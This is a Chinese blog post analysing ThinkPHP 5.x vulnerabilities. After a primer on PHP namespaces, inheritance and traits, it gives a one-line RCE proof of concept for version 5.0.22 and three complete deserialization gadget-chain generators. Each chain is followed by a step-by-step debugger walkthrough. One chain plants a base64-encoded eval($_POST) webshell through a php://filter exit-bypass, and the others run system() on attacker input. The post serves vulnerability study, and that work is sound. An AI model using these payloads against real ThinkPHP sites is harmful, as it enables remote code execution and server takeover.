• Thinkphp5.x全漏洞复现分析


    基础知识

    命名空间和子命名空间

    我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,举个例子:

    
      namespace animal\cat;
    class cat{
      public function __construct()
      {
        echo "meow"."\n";
      }
    }
    namespace animal\dogA;
    class dog{
      public function __construct()
      {
        echo "A:wooffff"."\n";
      }
    }
    namespace animal\dogB;
    class dog
    {
      public function __construct()
      {
        echo "B:wooffff"."\n";
      }
    }
    
    namespace animal\dogC;
    class dog
    {
      public function __construct()
      {
        echo "C:wooffff"."\n";
      }
    }
    new dog();
    //下面输出的都是dogA
    new \animal\dogA\dog();
    use animal\dogA;
    new dogA\dog();
    use animal\dogA as alias;
    new alias\dog();
    //输出cat
    use animal\cat\cat;
    new cat();
    


    当有多个子命名空间有相同名称类时,不指定使用哪个命名空间的情况下取最后定义的命名空间中的类,比如上面的dog取的时dogC中的类,在上面的例子中animal是一个命名空间,animal\cat animal\dogA animal\dogB animal\dogC都是其子命名空间,可以看到这样一共就存在四个命名空间,而使用各个命名空间的方法就是将命名空间的名字写完整,use是什么意思呢?其实和include和require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animal\dogA as alias其中的alias就是别名。use animal\cat\cat这句话就是直接指定了animal\cat命名空间的cat类了,我们只需要直接new就可以创建cat对象,不需要在前面加命名空间

    类的继承

    这个简单讲下,php中是通过extend关键字实现类的继承的,子类可以覆盖父类的方法,子类也可以通过parent::关键字访问父类被覆盖的方法

    
      class father{
    public $name="Json";
    private $age=30;
    public $hobby="game";
    public function say(){
      echo "i am father \n";
    }
    public function smoke(){
      echo "i got smoke \n";
    }
    }
    class son extends father{
      public $name="Boogipop";
      private $age=19;
      public function say()
      {
        echo "i am son \n";
      }
      public function parentsay(){
        parent::say();
      }
    }
    $son=new son();
    $son->say();
    $son->smoke();
    $son->parentsay();
    echo $son->hobby;
    

    trait修饰符

    trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类

    
      trait test{
      public function test(){
        echo "test\n";
      }
      }
    
      class impl{
        use test;
        public function __construct()
        {
          echo "impl\n";
        }
    
      }
    $t=new impl();
    $t->test();
    
    
    // 输出
    impl
    test
    

    我们在impl类中use了test这个类,因此我们可以调用其中的方法,有点抽象的意思

    Thinkphp开发手册

    Thinkphp5开发手册
    不懂就查

    Thinkphp5.0.22 RCE漏洞

    测试

    POC:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

    前提是debug选项要开启

    流程分析

    下断点调试,入口就在public/index.php

    跟进start.php

    进入run方法

    跟进routeCheck方法,没什么大用,直接定位到Request.php中的method方法

    注意$_POST[Config::get('var_method')],进入Config::get分析一下逻辑

    其实返回的就是_method,然后退出来回到method方法中,$this->method对应的就是$_POST['_method'],我们传入的是__construct,转为大写之后就是__CONSTRUCT,然后调用$this->{$this->method}($_POST),也就是$this->__CONSTRUCT($_POST),进入

    这里开始遍历POST的元素,注意$this->$name,这个写法很明显有变量覆盖的漏洞,这里轻松的覆盖掉$this->filter$this->server,继续往后走,进入dispatch

    没啥东西,退出往下走

    这里得开启了debug才能进入,我们进入param方法

    又进入method方法

    进入server方法

    进入input方法

    这里给$data="whoami",然后进入getFilter方法

    最终$filter=['system', null],退出

    进入filterValue方法

    调用了call_user_func,执行命令

    Thinkphp5.1.x反序列化链

    环境搭建

    准备一个反序列化入口:

    
    namespace app\index\controller;
    
    class Index
    {
        public function index($input="")
        {
            echo "ThinkPHP5_Unserialize:\n";
            unserialize(base64_decode($input));
            return '

    :)

    ThinkPHP V5.1
    12载初心不改(2006-2018) - 你值得信赖的PHP框架

    '
    ; } public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }

    攻击测试

    
    namespace think;
    abstract class Model{
        protected $append = [];
        private $data = [];
        function __construct(){
            $this->append = ["F12"=>["calc.exe","calc"]];
            $this->data = ["F12"=>new Request()];
        }
    }
    class Request
    {
        protected $hook = [];
        protected $filter = "system";
        protected $config = [
            // 表单ajax伪装变量
            'var_ajax'         => '_ajax',
        ];
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>'F12'];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    }
    
    
    namespace think\process\pipes;
    
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
    namespace think\model;
    
    use think\Model;
    
    class Pivot extends Model
    {
    }
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
    ?>
    


    成功执行

    流程分析

    反序列化处打个断点

    进入think\process\pipes\Windows__destruct方法

    进入removeFiles方法

    $filenamethink\model]\Pivot对象,file_exists方法触发它的__toString方法,但是Pivot类是没有__toString方法的,只能找父类ModuleModule中使用use调用了Conversion类,Conversion被用trait修饰,所以最终调用的是Conversion类的__toString方法

    跟进toJson方法

    跟进$this->toArray方法

    这里遍历$this->append,我们的append是这个值

    先进入getRelation,传入的key值是F12

    每个条件都满足不了,直接return,所以$relation的值为null,满足if,进入getAttr方法

    进入getData方法

    我们的$this->data中是有F12这个键值的,所以返回$this->data[$name],也就是Request对象,返回之后,$relation就是Request对象了

    触发visible方法,但是Request类并没有这个方法,所以触发Request__call方法

    经过array_unshift方法,$args数组被插入Request对象

    然后执行call_user_func_array方法,$this->hook[$method]就是isAjax方法,跟进

    调用param方法,$this->config['var_ajax']的值是F12

    进入input方法

    进入getData方法

    接受我们的恶意传参的值,返回给$data,又是进入getFilter方法

    也是给$filter赋值了

    为system
    往下走,进入filterValue方法

    call_user_func执行命令

    修复方式

    官方直接把Request中的__call魔术方法给抹除了,因此链子后半段就断掉了,也就是说以后打比赛修复的化,直接删,不影响业务

    Thinkphp5.0.x反序列化链

    环境搭建

    反序列化入口:

    
    namespace app\index\controller;
    
    class Index
    {
        public function index($input="")
        {
            echo "ThinkPHP5_Unserialize:\n";
            unserialize(base64_decode($input));
            return '

    :)

    ThinkPHP V5.1
    12载初心不改(2006-2018) - 你值得信赖的PHP框架

    '
    ; } public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }

    攻击测试

    
    
    //__destruct
    namespace think\process\pipes{
        class Windows{
            private $files=[];
    
            public function __construct($pivot)
            {
                $this->files[]=$pivot; //传入Pivot类
            }
        }
    }
    
    //__toString Model子类
    namespace think\model{
        class Pivot{
            protected $parent;
            protected $append = [];
            protected $error;
    
            public function __construct($output,$hasone)
            {
                $this->parent=$output; //$this->parent等于Output类
                $this->append=['a'=>'getError'];
                $this->error=$hasone;   //$modelRelation=$this->error
            }
        }
    }
    
    //getModel
    namespace think\db{
        class Query
        {
            protected $model;
    
            public function __construct($output)
            {
                $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
            }
        }
    }
    
    namespace think\console{
        class Output
        {
            private $handle = null;
            protected $styles;
            public function __construct($memcached)
            {
                $this->handle=$memcached;
                $this->styles=['getAttr'];
            }
        }
    }
    
    //Relation
    namespace think\model\relation{
        class HasOne{
            protected $query;
            protected $selfRelation;
            protected $bindAttr = [];
    
            public function __construct($query)
            {
                $this->query=$query; //调用Query类的getModel
    
                $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
                $this->bindAttr=['a'=>'admin'];  //控制__call的参数$attr
            }
        }
    }
    
    namespace think\session\driver{
        class Memcached{
            protected $handler = null;
    
            public function __construct($file)
            {
                $this->handler=$file; //$this->handler等于File类
            }
        }
    }
    
    namespace think\cache\driver{
        class File{
            protected $options = [
                'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'cache_subdir'=>false,
                'prefix'=>'',
                'data_compress'=>false
            ];
            protected $tag=true;
    
    
        }
    }
    
    namespace {
        $file=new think\cache\driver\File();
        $memcached=new think\session\driver\Memcached($file);
        $output=new think\console\Output($memcached);
        $query=new think\db\Query($output);
        $hasone=new think\model\relation\HasOne($query);
        $pivot=new think\model\Pivot($output,$hasone);
        $windows=new think\process\pipes\Windows($pivot);
    
        echo base64_encode(serialize($windows));
    }
    

    这里照着thinkphp的路由打,访问/public/index/index?input=poc,可以看到public文件下生成了两个php文件

    第一个就是我们的webshell,第二个是个乱码文件,等会分析原因

    流程分析

    前面一点点是跟tp5.1的流程是一样的



    从这里开始往下看,有4个重要的断点处

    首先是$relation的赋值,跟进parseName方法

    直接返回$name的值,$relation==getError,接下来的if判断,Modle类有getError方法,因此过,下面调用getError方法

    返回$error,这个变量可控,我们的payload里是这样给的值,这个$hasone下面再看是什么值

    接下来是对$value的赋值,进入getRelationData方法

    看这一段if判断,我们需要满足三个条件

    • $this->parent
    • !$modelRelation->isSelfRelation()
    • get_class($modelRelation->getModel()) == get_class($this->parent))

    首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了__call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)才会触发__call魔术方法,而该方法中value的值就是$this->parent,所以第一个条件parent需要为Output对象
    对于第二个条件,$modelRelation我们已经完成了赋值,为HasOne对象,我们观察一下isSelfRelation方法,返回Relation类重点selfRelation属性

    由于hasone类是Relation类的子类,因此我们对$this->selfRelation的值可控,只需让他为false即可
    最后一个条件需要让Hasone::getModel返回一个Output对象($this->parent),观察该方法,还是Relation

    全局搜索getModel方法,/thinkphp/library/think/db/Query.php中的getModel方法我们可控,所以让$this->queryQuery.php的实例即可,然后让他的model属性为Output对象
    完成对$value的赋值后,第三个断点,是对$bindAttr的赋值,进入getBindAttr方法

    返回OneToOne类的$bindAttr属性,HasOneOneToOne的子类,所以直接在HasOne中赋值即可,所以这个属性可控,这里我们设置为一个数组["a"=>"admin"],这里的admin和结果中的文件名有关
    在进入第四个断点之前,对$bindAttr有一个键值遍历,最终$key==a,$attr==admin,第四个断点$value->getAttr(),触发Output对象的__call方法

    array_unshiftgetAttr插入$args数组的最前头,然后调用block方法,跟进

    该方法中又调用自己的writeln方法,参数为admin,这是上面2个变量拼贴来的,跟进writeln方法调用write,参数为之前带下来的admin,另外两个分别为true,0

    套个娃

    这里的handle对象由我们控制,我们设置的是think\session\driver\Memcached,进入它的write方法

    这里Memcached的hander属性我们也控制,设置为think\cache\driver\File,进入它的set方法

    进入getCacheKey方法,看名字也知道这个跟文件名有关

    虽然$filename可控,但是$data里有个死亡函数exit,所以我们上面的php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php是为了绕过死亡函数

    这里$value的值并不能控制,所以$data的值还有待商榷,我们继续往下走,进入setTagItem方法

    在该方法中最后又会调用一次set,然后这次value我们可控,就是传进来的name,也就是$filename
    又调用一次set,说明又执行了一次file_put_contents,所以说我们生成了两个php文件,第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
    最终的结果是
    file_put_contents("php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php", "\ns:158:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php";"),之前有一篇文章讲过file_put_contents对死亡函数的绕过,利用编码的性质,将其变成其它字符,所以说里面有用的其实只有PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g也就是我们的webshell,其它的字符都会因为base64解码而改变,所以我们生成的php文件中才有很多乱码

    Thinphp5.0.x的另一条反序列化链

    攻击测试

    
    namespace think;
    use think\Model\Relation\HasOne;
    use think\console\Output;
    abstract class Model{
        protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
            $this->append = ['getError'];
            $this->error = new HasOne();
            $this->parent = new Output();
        }
    }
     
    namespace think\model\relation;
    use think\db\Query;
     
    class HasOne{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
            $this->selfRelation = false;
            $this->query = new Query();
            $this->bindAttr = ["aaa"=>"222"];
        }
    }
     
    namespace think\db;
    use think\console\Output;
    class Query{
        protected $model;
        public function __construct()
        {
            $this->model = new Output();
        }
    }
     
    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle;
        protected $styles = [
            "getAttr"
        ];
        public function __construct()
        {
            $this->handle = new Memcached();
        }
    }
     
    namespace think\cache;
    abstract class Driver{
     
    }
     
    namespace think\session\driver;
    use think\cache\driver\Memcache;
    use think\cache\Driver;
    class Memcached {                //个人认为防止重名
        protected $handler;
        protected $config = [   //config一定要写全,不然打不通
            'session_name' => '', // memcache key前缀
            'username'     => '', //账号
            'password'     => '', //密码
            'host'         => '127.0.0.1', // memcache主机
            'port'         => 11211, // memcache端口
            'expire'       => 3600, // session有效期
        ];
        public function __construct()
        {
            $this->handler = new Memcache();
        }
    }
     
    namespace think\cache\driver;
    use think\Request;
    class Memcache{
        protected $tag = "haha";
        protected $handler;
        protected $options = ['prefix'=>'haha/'];
        public function __construct()
        {
            $this->handler = new Request();
        }
    }
     
    namespace think;
    class Request{
        protected $get = ["haha"=>'dir'];
        protected $filter;
        public function __construct()
        {
            $this->filter = 'system';
        }
    }
     
    namespace think\model;
    use think\Model;
    class Pivot extends Model{
     
    }
     
    namespace think\process\pipes;
    use think\Model\Pivot;
    class Windows{
        private $files = [];
        public function __construct(){
            $this->files = [new Pivot()];
        }
    }
     
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
    ?>
    


    这条链直接就rce了,方便的多

    流程分析

    前头基本一样,到之前说到4个断点处,从第三个断点开始不同

    可控的bindAttr这是设置成这样,没什么特殊含义(就是想说这里已经不重要了,之前是为了控制__call的参数

    之后又开始相同了,到Memcached类中的write方法

    这次调用的set方法是think\cache\driver\Memcache

    这里的$tag被控制为haha,我们进入has方法

    进入getCacheKey方法

    这里的options['prefix']我们控制为haha/,返回拼接的内容,然后进入think\Request的get方法

    很眼熟,这里明显进入了我们上头的tp5.0.22 RCE漏洞的最后部分,这里的$get我们是控制为['haha'=>'dir'],进入input方法

    进入getFilter方法

    $filter被赋值为['system', null],进入filterValue方法

    rce,结束


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18148192
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    linux文件操作
    Python环境的安装及配置
    什么是跨域?跨域问题如何解决?看完豁然开朗。
    No168.精选前端面试题,享受每天的挑战和学习
    微服务博客专栏汇总
    什么数据需要存在Redis里?缓存的缺点?怎样进行数据同步?
    深拷贝和浅拷贝是什么,有什么区别?
    Windows 上安装和启动 Nacos 2.2.2 最新版本
    [附源码]计算机毕业设计JAVA宠物狗领养网站
    建站软件WordPress和phpcmsv9体验
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18148192